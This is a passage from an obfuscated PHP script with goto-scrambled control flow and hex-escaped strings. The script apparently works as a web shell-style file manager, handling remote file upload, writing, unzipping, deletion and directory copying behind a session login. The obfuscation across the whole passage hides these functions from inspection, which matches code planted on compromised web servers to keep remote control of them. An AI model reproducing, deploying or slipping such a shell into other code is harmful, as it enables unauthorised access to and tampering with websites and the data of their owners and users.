"\x2f" . $KhbAx); goto RfTcr; RfTcr: SWbwn: goto HkBEl; EOpMd: $nyi6h = opendir($Uibd6); goto ObwkD; JLqpv: bHVst: goto EOpMd; PuF7G: if (!($KhbAx != "\56" && $KhbAx != "\56\56")) { goto L12Wh; } goto hToE3; cKBVi: TH0lu: goto kkI2A; m6czI: $A2uB8 = pathinfo($AfNYa, PATHINFO_DIRNAME); goto KVd3N; vUCaE: CQAT4: goto yIQT0; kkI2A: closedir($nyi6h); goto Nb05A; HkBEl: L12Wh: goto HXFXq; ObwkD: if (file_exists($AfNYa)) { goto CQAT4; } goto SMcgk; I47uE: gWvXX: goto NQece; KVd3N: if (file_exists($A2uB8)) { goto tq3Gt; } goto kk0Lu; fTJe9: copy($Uibd6 . "\57" . $KhbAx, $AfNYa . "\57" . $KhbAx); goto yjyg9; CTxeB: if (!(false !== ($KhbAx = readdir($nyi6h)))) { goto TH0lu; } goto PuF7G; yjyg9: goto SWbwn; goto I47uE; M1DYl: return @copy($Uibd6, $AfNYa); goto JLqpv; hkEY5: if (!is_file($Uibd6)) { goto bHVst; } goto m6czI; u3fM3: tq3Gt: goto M1DYl; Nb05A: } goto n7Efn; XmXTL: $imz7x = $Dmxoi["\143\x6f\x75\x6e\164"]; goto M3Vjl; jgJG5: if (!isset($_GET["\154\x6f\147\157\x75\164"])) { goto AtyQv; } goto iz6PY; OeJVR: echo "\x29\x20\156\x6f\55\162\145\x70\x65\141\164\40\x6c\145\x66\x74\40\x63\x65\156\x74\x65\x72\x3b\x70\x61\144\x64\x69\x6e\147\x3a\x20\65\160\x78\x20\60\40\65\160\x78\x20\x32\x35\x70\x78\73\x6d\x61\x72\x67\151\x6e\x2d\154\x65\x66\x74\x3a\x20\x35\160\170\73\x7d\xd\xa\56\125\163\x65\162\111\x63\157\x6e\x7b\142\x61\143\153\x67\162\x6f\x75\x6e\144\x3a\165\162\154\x28\40"; goto w8v29; ALhX7: if (!(count($qJrrE) != 0)) { goto thFtN; } goto jlv21; XjS1C: $CIvJG[34] = "\x53\x75\143\x63\x65\163\163"; goto GR1uF; jgW3e: echo "\x5d\73\x20\xd\12\x20\166\x61\x72\40\165\156\151\x74\163\x20\x3d\x20\x5b"; goto ALhX7; MhfDQ: echo "\74\x2f\x62\165\x74\x74\x6f\x6e\76\15\12\xd\12\40\40\40\40\x20\x20\40\40\x3c\57\x66\x6f\x72\x6d\x3e\xd\12\x9\11\xd\12\11\40\74\57\x64\x69\166\x3e\xd\xa\11\xd\xa\x20\x20\x20\x20\x3c\57\x64\151\166\x3e\15\xa\15\xa\x20\40\74\x2f\x64\151\x76\76\xd\xa\74\57\144\151\166\76\11\15\12\xd\xa\x20\74\144\151\166\40\x63\x6c\x61\x73\x73\x3d\42\155\x6f\x64\141\x6c\x20\146\141\144\145\x22\x20\151\x64\x3d\42\123\150\x6f\x77\x46\151\x6c\145\x22\x20\x72\157\x6c\x65\x3d\42\144\151\141\x6c\x6f\x67\42\76\15\xa\40\40\40\40\74\x64\x69\166\40\x63\154\x61\x73\x73\x3d\x22\x6d\x6f\144\141\154\55\144\x69\141\x6c\157\x67\42\x3e\xd\xa\x20\x20\40\40\xd\xa\x20\x20\x20\40\40\40\x3c\x21\55\x2d\x20\115\x6f\144\141\154\x20\x63\x6f\x6e\x74\x65\156\x74\55\55\x3e\xd\12\40\x20\40\x20\40\x20\x3c\x64\151\x76\x20\143\x6c\141\x73\163\75\x22\x6d\157\144\141\154\x2d\143\157\x6e\164\145\156\164\x22\x3e\15\12\x20\x20\40\x20\40\40\x20\x20\74\x64\x69\x76\x20\x63\x6c\141\163\x73\x3d\42\155\x6f\x64\x61\154\x2d\150\145\x61\144\145\162\x22\x3e\15\12\x20\40\40\x20\x20\40\x20\x20\40\x20\x3c\142\165\164\164\157\156\40\x74\x79\x70\145\75\42\142\165\164\x74\x6f\x6e\x22\x20\143\x6c\141\x73\x73\x3d\x22\143\154\x6f\x73\145\x22\x20\x64\x61\x74\141\55\144\x69\163\x6d\x69\x73\x73\x3d\42\155\157\144\x61\x6c\42\x3e\46\164\x69\155\x65\x73\73\x3c\x2f\x62\165\x74\x74\x6f\x6e\76\15\12\x20\40\x20\x20\40\x20\x20\40\x20\40\x3c\150\64\x20\143\154\141\x73\x73\x3d\42\155\157\x64\141\x6c\55\x74\151\164\154\145\42\x3e"; goto Wurt0; NmzhI: dE68V: goto mUg80; uVxD2: die($CIvJG[7]); goto spG7M; ROpYn: if (!(isset($_GET["\165\160\x6c\157\141\x64\146\x69\154\145"]) && xU7XX())) { goto er2h2; } goto y30X4; lgOFf: $_SESSION["\x6c\157\x67\151\156"]["\x75\163\145\162"] = $ru43X; goto iEqA5; Fj6cJ: echo "\x27\51\73\11\11\xd\12\x9\x9\x9\x20\x20\40\144\x69\162\40\75\x20\162\145\160\x6c\x61\143\145\137\144\x69\x72\50\x24\50\47\43\x5a\x69\x70\144\x69\162\x27\x29\56\x76\x61\154\50\51\x29\x3b\40\xd\xa\x9\11\x9\x20\x20\x20\x24\56\x67\145\x74\x4a\x53\117\116\50\42\77\x75\156\172\151\160\75\42\53\144\x69\162\53\42\x26\164\x61\142\154\x65\46\164\x6f\75\x22\53\44\50\x27\x23\106\157\154\x64\145\162\125\156\172\151\160\111\x6e\160\165\164\x27\x29\56\166\x61\154\x28\51\54\40\x66\165\156\x63\x74\x69\x6f\156\x28\144\x61\x74\141\x29\x7b\15\xa\x9\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x24\x28\42\43\143\157\156\164\145\x6e\164\42\x29\56\x68\164\155\x6c\50\x64\x61\x74\x61\56\x74\141\142\x6c\x65\51\x3b\15\xa\11\11\x9\40\x20\x20\x24\x28\x27\x23\141\x6c\145\x72\x74\x27\x29\56\x68\164\155\x6c\50\x64\x61\164\x61\x2e\x61\154\x65\x72\164\51\73\x9\x9\15\12\x9\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\44\x28\x27\x23\x5a\151\160\106\151\x6c\145\47\51\56\x6d\x6f\144\141\x6c\50\47\150\x69\144\x65\x27\51\73\15\xa\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x24\x28\x22\x23\x46\157\154\144\x65\x72\125\x6e\172\151\x70\x49\156\160\x75\164\x22\x29\56\x72\x65\x6d\157\166\145\x41\164\164\162\50\42\x64\x69\163\x61\142\x6c\x65\x64\x22\x29\73\15\xa\x9\x9\x20\x20\x20\x20\x20\x20\x20\44\x28\x27\x23\132\151\x70\x4c\x61\142\145\154\163\x75\143\x63\145\x73\163\47\x29\x2e\150\164\155\154\50\x27\x27\x29\73\xd\12\x9\11\11\x20\40\x20\44\50\x27\43\106\x6f\x6c\144\145\x72\x55\156\172\151\160\x49\156\x70\165\x74\x27\51\x2e\x76\x61\154\x28\x27\x27\51\x3b\xd\xa\11\x9\x9\x20\40\40\44\50\x22\x23\132\x69\160\x4c\157\x61\x64\x22\51\56\150\164\155\154\50\x27\47\51\x3b\xd\12\11\x20\x20\40\40\40\x20\x20\x20\40\175\x29\73\x9\15\xa\40\40\15\12\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x7d\73\xd\12\11\11\11\40\144\145\x6c\x65\164\x65\x20\x4c\157\x61\x64\x69\156\x67\x48\x74\x6d\x6c\73\x20\xd\xa\x9\x9\11\40\57\52\15\12\x9\x9\x9\x20\x66\157\162\x20\x28\40\166\x61\162\x20\151\40\x69\156\x20\x77\151\156\144\x6f\167\40\51\x20\x7b\15\12\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\143\x6f\x6e\x73\x6f\154\x65\56\x6c\x6f\x67\50\151\x2c\40\164\x79\160\x65\157\x66\40\x77\151\x6e\144\x6f\167\133\x69\135\x2c\x20\167\151\x6e\144\157\167\133\x69\x5d\x29\x3b\xd\12\11\40\40\40\40\40\40\40\x20\x20\175\x2a\57\15\12\x20\x20\x20\x20\x20\40\x20\x20\x3c\x2f\x73\143\162\151\160\164\76\xd\12\11\11\74\57\x64\151\166\76\15\xa\x20\x20\40\x20\x3c\x2f\142\157\144\x79\x3e\15\xa\40\x20\x20\x20\74\57\150\x74\155\x6c\x3e\15\12\11"; goto MuF6x; nU1FJ: if ($ru43X == '') { goto UKBy1; } goto R4XcF; C5ZOo: unset($MTWgC); goto DeinE; CSBeO: pAV0H: goto xXOdl; XNeNp: echo "\x20\47\40\53\x20\160\145\x72\x63\145\156\x74\x43\x6f\x6d\160\x6c\145\x74\145\40\53\x20\x27\x25\47\x29\73\15\12\11\11\x9\x9\x9\11\x7d\175\54\40\x66\141\154\163\145\51\73\xd\xa\11\11\x9\x9\162\x65\x74\165\162\x6e\40\170\x68\x72\73\xd\xa\x9\x9\11\x7d\54\xd\xa\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\164\171\160\x65\x3a\47\x50\117\x53\x54\x27\54\xd\xa\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x75\162\154\x3a\x20\x27\77\165\160\x6c\157\x61\144\x66\151\x6c\145\46\144\151\x72\x3d\47\x2b\x64\x69\162\54\15\12\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\144\x61\164\141\72\x66\x6f\162\155\104\x61\164\x61\x2c\15\xa\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x63\141\143\x68\x65\72\146\141\x6c\x73\x65\54\15\12\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\143\157\x6e\x74\145\156\164\x54\x79\x70\x65\72\x20\x66\x61\x6c\x73\x65\x2c\xd\xa\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\160\x72\x6f\x63\145\x73\163\104\x61\164\141\x3a\40\146\x61\154\x73\x65\54\xd\12\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\x73\x75\143\143\x65\163\163\72\146\x75\x6e\143\x74\x69\157\156\x28\x64\x61\x74\x61\51\x7b\15\xa\11\11\11\x9\x24\50\47\x23\x46\x69\x6c\x65\125\160\154\157\x61\144\x4c\x61\142\145\154\163\x75\x63\x63\145\x73\163\x27\x29\x2e\x68\164\155\154\50\x27\x27\51\x3b\15\xa\x9\11\x9\x9\x24\x28\47\x23\151\156\x70\165\x74\x46\151\154\x65\x55\160\154\x6f\141\x64\47\x29\56\x76\141\154\x28\x27\x27\x29\73\xd\12\x9\11\x9\11\44\x28\x27\x23\125\x70\x6c\157\141\x64\x46\151\x6c\145\x27\x29\x2e\155\157\144\x61\x6c\50\x27\150\x69\x64\145\47\51\73\11\xd\xa\x9\11\x9\x9\57\57\44\x28\42\43\x46\x69\154\x65\125\x70\x6c\157\141\144\102\x74\156\x22\x29\56\141\x74\164\162\50\x22\x64\151\x73\141\142\154\x65\x64\x22\x2c\40\42\144\x69\x73\x61\142\154\145\x64\x22\51\73\xd\xa\x9\x9\x9\x9\147\145\x74\103\157\156\x74\145\x6e\x74\50\x22\144\151\162\75\42\53\x64\x69\x72\x2c\x30\51\x9\x3b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\175\x2c\15\xa\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\145\x72\162\x6f\162\72\40\x66\165\156\x63\164\151\x6f\x6e\x28\144\141\x74\x61\51\x7b\xd\xa\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\x24\50\x27\43\x46\151\154\145\x55\x70\154\x6f\141\144\x4c\x61\x62\x65\154\x73\x75\x63\x63\x65\163\163\47\x29\56\150\164\x6d\154\x28\x27"; goto XSI7a; Dsne7: $dm0oc[12] = "\144\141\164\141\x3a\x69\155\141\x67\145\57\x70\x6e\x67\73\x62\x61\163\145\66\64\x2c\151\126\x42\x4f\122\167\x30\x4b\x47\x67\157\x41\101\101\x41\x4e\x53\x55\x68\x45\125\147\x41\101\101\102\101\101\x41\x41\101\x51\x43\101\131\x41\101\101\101\x66\70\x2f\x39\150\x41\101\101\x41\x79\x55\154\105\x51\126\x51\x34\152\x62\130\123\x50\125\x74\104\x4d\121\x43\106\x34\x65\x64\x4b\x6b\x52\141\110\104\166\60\x59\102\110\107\130\104\151\160\111\160\x56\103\x34\x42\x56\145\154\66\x43\71\121\x6b\116\x71\160\x43\x42\x5a\105\110\x48\122\157\66\x56\x41\121\x2f\x63\125\117\x6a\x58\113\x56\x59\x48\x4d\x4c\x48\x73\152\x79\x4a\x75\x64\x4e\123\115\x49\57\160\157\x49\152\x6e\107\x43\67\142\x50\x6b\x55\142\67\152\105\117\132\142\x49\x55\x38\163\x4e\114\x4a\104\x39\x34\161\57\131\124\x52\110\x63\131\x6a\x2f\103\155\x37\x68\x50\105\142\170\x45\x64\x69\53\145\111\x6b\x6d\167\x79\x64\170\63\160\x71\x68\110\x65\x42\x58\x50\113\131\111\104\152\x43\x50\x38\x47\x73\x66\162\x79\x68\156\x32\x63\111\x63\122\144\154\104\104\x44\123\132\127\x72\x78\103\x39\x6e\167\x77\120\x6d\117\x4d\161\163\101\64\145\70\131\124\x44\x77\x43\64\167\x43\x32\x75\63\151\x6f\113\x75\x31\141\144\112\172\x52\103\71\x49\x73\x67\x78\x4b\x43\x48\x6f\x34\x36\x77\111\x32\166\147\x49\x6b\x6e\172\x4e\x47\117\x41\x39\x64\x48\66\x6b\x6c\x56\x44\53\x47\x71\60\x53\x70\x2f\60\x37\156\x35\x59\x39\x46\x33\x56\x6b\107\163\x49\x4c\101\101\x41\x41\x41\x45\x6c\106\x54\153\123\x75\x51\155\x43\x43"; goto tlw3v; ZnJrg: exit(header("\114\157\x63\x61\x74\x69\x6f\156\x3a\40" . $_SERVER["\120\110\x50\x5f\123\105\x4c\106"])); goto bHdth; xX0aQ: echo "\47\x2c\15\xa\x9\11\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x70\x72\x65\166\x20\72\40\x27\302\253\47\x2c\15\xa\11\x9\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x6e\145\x78\x74\x20\72\x20\x27\xc2\273\x27\x2c\15\12\x9\11\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x6c\141\x73\164\40\72\x20\47"; goto QQcQG; ZmH4g: echo "\x20\74\57\x68\64\76\15\12\x9\x9\15\12\x20\40\x20\40\40\40\x3c\x2f\x64\x69\166\76\xd\xa\40\40\40\x20\40\x20\x3c\144\151\166\x20\x63\x6c\141\x73\x73\75\x22\x6d\157\x64\141\154\55\142\157\x64\171\42\76\xd\xa\x9\40\x20\74\160\x3e"; goto Wrd5q; V2sj9: echo "\x3c\57\x62\165\164\164\157\156\76\40\xd\xa\40\x20\x20\x20\40\40\x20\x20\74\142\x75\164\x74\157\x6e\40\x74\171\x70\145\x3d\x22\x62\x75\x74\x74\157\x6e\42\x20\x63\154\x61\163\163\75\x22\142\164\x6e\x20\x62\x74\156\x2d\144\145\146\x61\x75\x6c\x74\x22\40\x64\141\164\x61\x2d\144\x69\163\x6d\x69\x73\163\75\42\155\157\144\141\x6c\x22\76"; goto fIUvW; OFk1l: function c23ki($KhbAx) { goto YO1wA; UHifw: if (file_exists($KhbAx)) { goto ZzWqp; } goto HSFAL; YO1wA: global $MhinT, $CIvJG; goto UHifw; HSFAL: $MhinT = $CIvJG[38]; goto TyGFM; TyGFM: ZzWqp: goto MjCk6; MjCk6: } goto kKzKq; iWD8q: tgqiW: goto PgBuh; tqjcb: LTuYJ(1); goto UQHop; Smx1i: LtuYj(1); goto ysUVi; YW7ZL: $k8LVN .= $CIvJG[9] . "\40\72\x20\x3c\155\x61\x72\x6b\76" . $xUEaS . "\x3c\57\x6d\x61\162\153\76\40" . $CIvJG[10] . "\x20\x3a\40\x3c\x6d\x61\x72\153\x3e" . $imz7x . "\x3c\x2f\155\x61\x72\x6b\x3e\x3c\57\164\x64\x3e\x3c\57\164\x72\x3e\74\x2f\164\142\157\x64\x79\x3e\x3c\57\164\141\x62\x6c\x65\76\74\x2f\144\x69\166\x3e"; goto ENC8O; AP6hg: unset($Dmxoi); goto dEDlC; yuwCi: JdkfL: goto Qd8Mq; EkKZi: if (!(isset($_GET["\x75\x6e\x7a\x69\160"]) && XU7xX())) { goto yyiCD; } goto zKJKn; YaBdx: unset($_POST); goto ecpmw; lJc2L: goto iuUM6; goto KtvLH; yG_mw: echo "\40\x20\40\40\x20\40\74\142\40\x63\x6c\x61\x73\163\x3d\x22\143\141\162\145\x74\42\x3e\74\x2f\142\76\15\12\x20\x20\40\x20\74\57\x61\76\15\12\40\40\40\x20\x3c\x75\x6c\40\x63\x6c\x61\163\163\x3d\42\144\x72\157\x70\x64\x6f\167\x6e\x2d\155\145\156\x75\40\x64\x72\157\160\x64\157\x77\156\55\155\145\x6e\x75\x2d"; goto W3TEi; WRkl3: echo "\x29\x20\x6e\157\55\x72\145\x70\145\141\164\x20\x6c\x65\x66\x74\x20\143\145\x6e\x74\x65\x72\x3b\x70\x61\x64\144\x69\x6e\147\x3a\40\65\x70\x78\40\60\x20\x35\x70\170\40\x32\x35\x70\x78\x3b\x6d\141\x72\x67\151\156\x2d\154\145\x66\x74\x3a\x20\x35\160\170\x3b\175\15\12\x2e\125\x70\x6c\157\141\144\111\143\157\156\173\142\x61\143\153\147\162\x6f\165\x6e\144\x3a\x75\162\154\50\x20"; goto HZ44K; dE5nM: echo "\x22\x3e\74\x2f\x73\160\141\156\x3e\40\xd\12\x9\x20\40\40\x20\74\142\x75\x74\x74\157\x6e\x20\40\x74\x79\160\145\x3d\42\x62\165\164\164\157\x6e\42\x20\x63\x6c\141\x73\x73\75\42\x62\164\156\40\142\x74\x6e\55\x73\165\x63\x63\x65\x73\163\42\40\40\157\156\143\154\151\143\x6b\x3d\42\x6e\145\x77\146\x6f\x6c\x64\x65\x72\101\x6e\x64\x43\x6f\156\x74\145\x6e\164\50\51\42\76"; goto XK7sJ; TAsBj: echo $CIvJG[17]; goto Fj6cJ; xuz1H: echo $CIvJG[32]; goto zpqzU; VVsiQ: c23Ki($_GET["\x52\x65\155\x6f\166\x65"]); goto nxcW3; T2D9c: echo "\xe2\x86\x92"; goto Iqvne; FtJec: $gN4dV = array("\x74\141\x62\154\x65" => $k8LVN, "\164\x6f\x74\x61\154" => $lhFTz, "\x70\x61\x67\145" => $xUEaS, "\x64\x69\x72" => $E0reN, "\x64\x69\162\x48\x74\x6d\154" => zwUy5(), "\141\154\145\x72\x74" => $MhinT); goto onymw; Iqvne: MYpmt: goto xX0aQ; u5G2p: echo $dm0oc[4]; goto vebyY; vFnwQ: echo "\x3c\57\x62\165\164\x74\157\x6e\x3e\xd\12\x9\11\40\xd\12\x9\x20\74\57\144\x69\x76\x3e\15\xa\x20\x20\x20\40\74\x2f\144\x69\166\x3e\xd\xa\15\xa\40\40\x3c\57\144\x69\166\76\15\xa\x3c\57\144\x69\x76\x3e\x9\xd\xa\15\12\xd\xa\x3c\41\55\55\40\x4d\157\x64\x61\154\40\116\x65\x77\106\x6f\x6c\144\x65\162\40\x2d\x2d\x3e\xd\12\74\x64\151\x76\40\x69\144\x3d\42\x4e\x65\x77\106\157\x6c\144\x65\x72\42\x20\143\x6c\141\163\163\75\42\155\x6f\x64\141\154\x20\146\141\144\x65\x22\40\162\157\x6c\145\x3d\42\x64\151\141\x6c\157\x67\x22\76\xd\xa\x20\40\74\144\151\166\x20\x63\154\141\163\163\75\42\155\x6f\144\x61\x6c\55\x64\151\141\154\157\x67\x22\x3e\15\12\xd\xa\x20\x20\40\40\x3c\x21\x2d\x2d\x20\115\157\144\x61\x6c\40\x63\x6f\x6e\164\x65\x6e\164\x2d\x2d\76\xd\12\40\40\x20\40\74\x64\151\166\40\x63\x6c\x61\x73\x73\x3d\42\x6d\x6f\x64\141\x6c\55\143\157\156\164\145\156\164\x22\76\15\xa\x20\x20\40\40\x20\40\74\x64\x69\x76\x20\x63\154\x61\163\x73\x3d\x22\155\x6f\144\141\154\x2d\150\x65\x61\144\145\x72\x22\76\xd\xa\40\40\x20\40\40\40\40\40\x3c\142\165\x74\x74\x6f\x6e\x20\164\x79\160\145\75\42\142\x75\164\x74\x6f\x6e\x22\x20\x63\154\141\x73\163\75\42\143\154\x6f\x73\145\42\40\144\x61\164\x61\55\144\151\x73\155\x69\x73\x73\75\42\x6d\157\144\x61\154\42\76\46\x74\151\x6d\145\x73\x3b\x3c\57\142\x75\164\x74\x6f\156\x3e\xd\12\40\40\x20\x20\40\x20\x20\40\x3c\150\64\x20\x63\x6c\x61\163\163\75\42\x6d\x6f\144\141\154\x2d\x74\x69\x74\x6c\x65\x22\76"; goto lTUuV; OBHcK: $FNpgA = false; goto v_UsS; gdq42: unset($_REQUEST); goto UcfU_; rDMxO: $qJrrE = array("\x42", "\113\102", "\x4d\102", "\x47\102", "\124\102", "\120\x42", "\x45\x42", "\132\x42", "\131\102"); goto OBHcK; z6HW2: $CIvJG[0] = "\x65\x6e"; goto WAxWO; bHdth: mMpF0: goto jjFyJ; PeYQt: ZDn1t: goto Pklrl; TeQIq: echo "\xe2\206\222"; goto lJc2L; o15H2: unset($IsXKt); goto lUtUq; Eevza: unset($MhinT); goto KUymb; fzasp: echo $CIvJG[39]; goto abqfH; K12By: echo "\x29\x20\156\157\55\162\145\160\145\x61\x74\x20\x6c\145\x66\164\40\x63\145\156\164\145\162\73\x20\160\x61\144\x64\151\x6e\x67\72\40\65\x70\x78\x20\x30\40\x35\x70\x78\40\62\x35\x70\170\73\155\x61\162\x67\151\156\x2d\x6c\x65\146\x74\x3a\x20\x35\160\170\73\175\15\xa\56\117\106\x6f\154\x64\x65\162\x49\x63\x6f\x6e\40\x7b\x62\x61\x63\153\147\x72\157\x75\156\144\72\x75\x72\154\x28"; goto OjYnY; fsG7n: $CIvJG[29] = "\116\x65\x77\x20\x66\157\154\x64\x65\x72"; goto LarHx; mW0j2: $FNpgA = true; goto d_PN9; qrtmi: $CIvJG[28] = "\x4c\x61\x73\164\x20\x6d\x6f\x64\151\146\151\x65\x64"; goto fsG7n; zKJKn: C23Ki($_GET["\x75\156\x7a\151\x70"]); goto vMwy2; aafjP: echo "\51\40\156\157\x2d\162\x65\160\145\x61\164\40\x6c\x65\146\164\x20\x63\145\x6e\x74\x65\162\x3b\160\141\144\144\151\156\x67\x3a\40\65\x70\x78\40\x30\40\x35\x70\170\40\x32\65\x70\170\x3b\x6d\x61\162\x67\x69\156\55\154\145\x66\164\x3a\40\x35\x70\170\x3b\175\15\xa\xd\xa\56\164\x61\x62\x6c\x65\x2c\x2e\x62\162\145\x61\144\143\x72\165\x6d\142\54\x2e\156\141\x76\x62\141\x72\x2d\x64\145\146\141\x75\154\164\173\x62\157\162\144\x65\162\x3a\40\x31\160\x78\40\x73\x6f\154\151\x64\40\x23\104\70\x44\x38\104\x38\x3b\142\x61\143\153\147\x72\157\x75\x6e\144\72\40\x23\146\146\x66\x20\156\157\156\x65\x20\x72\145\x70\145\141\x74\x20\163\x63\162\x6f\154\154\40\60\x25\40\x30\x25\x3b\175\15\12\x2e\x63\157\x6e\x74\x61\151\x6e\145\x72\137\x30\61\173\142\x6f\162\144\x65\x72\x3a\x20\x31\160\170\x20\x73\157\154\151\x64\40\43\104\x38\x44\x38\x44\70\x3b\x62\x61\x63\x6b\x67\162\157\x75\x6e\144\x3a\x20\x23\x66\146\146\40\x6e\x6f\156\145\x20\162\x65\x70\x65\141\164\x20\x73\143\x72\157\x6c\x6c\x20\60\x25\x20\60\45\73\160\x61\x64\x64\151\x6e\x67\x3a\40\62\x35\x70\x78\x3b\x6d\141\x72\147\x69\x6e\55\142\x6f\164\164\157\155\x3a\x32\60\160\170\x3b\175\15\xa\56\x4c\x6f\141\144\151\156\147\173\142\x61\143\153\x67\x72\157\165\156\144\72\165\x72\154\x28"; goto d3VBT; Yz4qM: echo "\x29\x20\x6e\157\55\x72\x65\160\145\141\x74\40\143\145\156\164\145\162\40\143\145\156\164\145\x72\73\x20\160\141\144\x64\x69\x6e\x67\72\40\x32\x35\160\x78\40\73\175\15\xa\x62\x6f\x64\171\40\x7b\x62\x61\x63\x6b\147\162\157\165\x6e\x64\72\x20\43\x46\61\x46\x31\106\x31\40\156\x6f\156\145\40\x72\145\x70\x65\141\x74\x20\163\143\x72\x6f\x6c\x6c\x20\x30\x25\x20\60\45\x3b\x6d\x61\x72\x67\151\156\55\x62\157\164\164\x6f\x6d\x3a\x32\x30\x70\x78\x3b\175\15\xa\164\144\173\x66\x6f\156\164\x2d\x73\151\x7a\145\72\40\61\62\x70\170\x3b\x7d\15\xa\56\160\141\x67\x69\156\141\x74\151\157\x6e\x20\x7b\40\155\x61\x72\147\151\156\x3a\60\x70\x78\x3b\x7d\xd\12\x2e\164\141\142\x6c\145\55\x66\x69\170\x65\x64\40\x7b\x20\x62\157\162\144\145\x72\x2d\164\x6f\x70\72\40\60\x70\x78\40\x3b\x7d\15\xa\x2e\164\141\142\154\x65\55\146\151\x78\x65\144\40\x74\150\x65\x61\144\x20\173\x20\x77\x69\144\x74\150\72\40\71\67\x25\x3b\x7d\xd\12\56\164\x61\x62\154\x65\x2d\x66\151\170\145\144\x20\x74\x62\157\144\x79\40\173\x68\x65\151\147\150\x74\72\40\x33\60\60\x70\170\x3b\x6f\166\x65\x72\x66\x6c\x6f\167\55\171\x3a\x20\141\x75\x74\x6f\73\x77\x69\x64\164\x68\72\40\61\60\60\45\x3b\175\15\12\56\164\141\x62\x6c\145\55\x66\x69\x78\145\144\x20\164\x68\x65\141\x64\54\40\56\x74\141\x62\x6c\145\55\x66\151\170\145\144\x20\164\142\157\x64\x79\54\x20\56\164\141\x62\x6c\145\x2d\x66\x69\170\x65\x64\40\164\162\54\40\56\164\x61\142\x6c\145\x2d\146\x69\x78\x65\x64\40\x74\x64\54\x20\x2e\164\141\142\154\145\55\x66\151\x78\145\144\40\x74\150\40\173\x64\151\163\x70\x6c\141\x79\72\x20\142\154\x6f\x63\x6b\73\175\15\12\56\164\x61\x62\x6c\x65\55\x66\x69\x78\x65\144\x20\x74\x62\x6f\144\171\x20\164\x64\x2c\x20\56\x74\141\x62\x6c\x65\55\146\x69\x78\x65\144\x20\x74\150\145\141\144\40\76\40\x74\162\76\x20\x74\150\x20\173\146\x6c\157\141\164\x3a\40\154\x65\146\164\73\142\157\162\x64\x65\162\x2d\142\157\x74\x74\157\x6d\x2d\x77\x69\x64\164\x68\x3a\40\x31\x70\x78\73\x7d\15\12\56\x62\164\x6e\55\146\151\x6c\145\x20\173\x70\x6f\163\x69\164\151\157\156\x3a\40\162\x65\x6c\141\164\x69\166\x65\73\157\166\145\x72\146\154\x6f\x77\72\40\x68\151\x64\x64\x65\156\x3b\175\xd\12\56\x62\x74\156\55\146\151\154\145\x20\151\156\160\165\164\x5b\x74\x79\160\x65\x3d\146\x69\x6c\145\x5d\x20\x7b\160\x6f\163\151\164\151\157\156\72\x20\x61\x62\x73\157\x6c\165\164\145\x3b\164\x6f\160\72\x20\x30\x3b\x72\x69\x67\150\x74\72\40\x30\x3b\x6d\x69\x6e\55\x77\x69\x64\164\150\x3a\x20\x31\60\x30\45\73\x6d\x69\x6e\55\150\x65\x69\147\x68\x74\72\40\x31\x30\60\x25\x3b\146\157\156\164\55\163\151\x7a\145\x3a\40\x31\x30\x30\x70\x78\73\164\x65\x78\164\x2d\141\154\151\147\156\72\40\162\151\147\x68\x74\x3b\x66\x69\154\x74\x65\x72\72\40\x61\x6c\x70\x68\141\x28\157\160\141\143\151\x74\171\x3d\x30\x29\x3b\x6f\160\141\x63\x69\164\x79\x3a\40\60\73\157\x75\164\x6c\151\156\x65\72\40\156\157\156\x65\73\x20\142\x61\143\x6b\147\x72\157\x75\x6e\144\x3a\x20\167\150\151\x74\145\73\x63\x75\x72\163\x6f\162\x3a\40\x69\156\x68\145\x72\151\164\x3b\144\x69\163\x70\x6c\141\x79\72\x20\142\x6c\157\143\153\x3b\175\15\xa\x2e\156\141\x76\x62\x61\x72\55\142\x72\141\156\144\40\173\146\x6f\x6e\164\x2d\x73\x69\172\x65\x3a\40\x31\x34\x70\x78\x3b\175\15\12\xd\xa\56\164\x72\x65\145\x76\x69\145\167\x2c\x20\x2e\x74\162\x65\145\166\x69\145\167\x20\165\x6c\40\173\155\141\162\x67\x69\x6e\72\x30\73\160\141\144\144\x69\156\x67\x3a\x30\73\x6c\x69\x73\164\55\x73\x74\x79\154\145\72\156\157\156\145\x3b\x63\157\x6c\x6f\x72\72\40\43\x44\70\104\70\x44\70\x3b\x7d\15\xa\56\164\162\x65\145\166\151\145\167\40\165\154\x20\173\x20\155\x61\162\147\151\x6e\55\154\145\146\164\72\x31\145\155\x3b\x70\157\x73\151\x74\x69\157\x6e\72\162\145\154\x61\164\x69\166\145\x7d\xd\12\x2e\164\162\x65\145\166\151\145\167\40\165\154\x20\165\x6c\x20\x7b\x6d\x61\x72\147\x69\x6e\x2d\154\x65\x66\x74\72\x2e\65\x65\x6d\x7d\xd\12\15\12\56\164\162\x65\x65\166\151\x65\x77\x20\154\151\x20\173\x6d\x61\x72\x67\151\156\72\x30\x3b\x70\141\x64\x64\151\x6e\x67\x3a\x30\x20\x31\145\x6d\73\154\151\156\145\x2d\150\145\x69\147\150\164\x3a\x32\145\155\x3b\160\x6f\163\151\x74\151\157\x6e\x3a\x72\x65\x6c\141\x74\x69\x76\145\175\xd\12"; goto m3g3X; zTCQQ: echo "\74\x2f\141\76\74\57\x6c\151\x3e\15\xa\11\40\40"; goto r6KWF; N0OT0: die(BFHCw($_POST["\x77\x72\151\x74\145"], $qHvt6)); goto nFLPI; Gg9Sf: $CIvJG[3] = "\120\162\x65\x76\151\145\x77"; goto ujCwT; PW6tQ: G2Nk3: goto wc24i; CMpjN: $MTWgC[0] = array_map("\163\x74\162\x74\157\x6c\157\x77\x65\x72", $MTWgC[0]); goto RmFqV; WX_Q_: $dm0oc[0] = 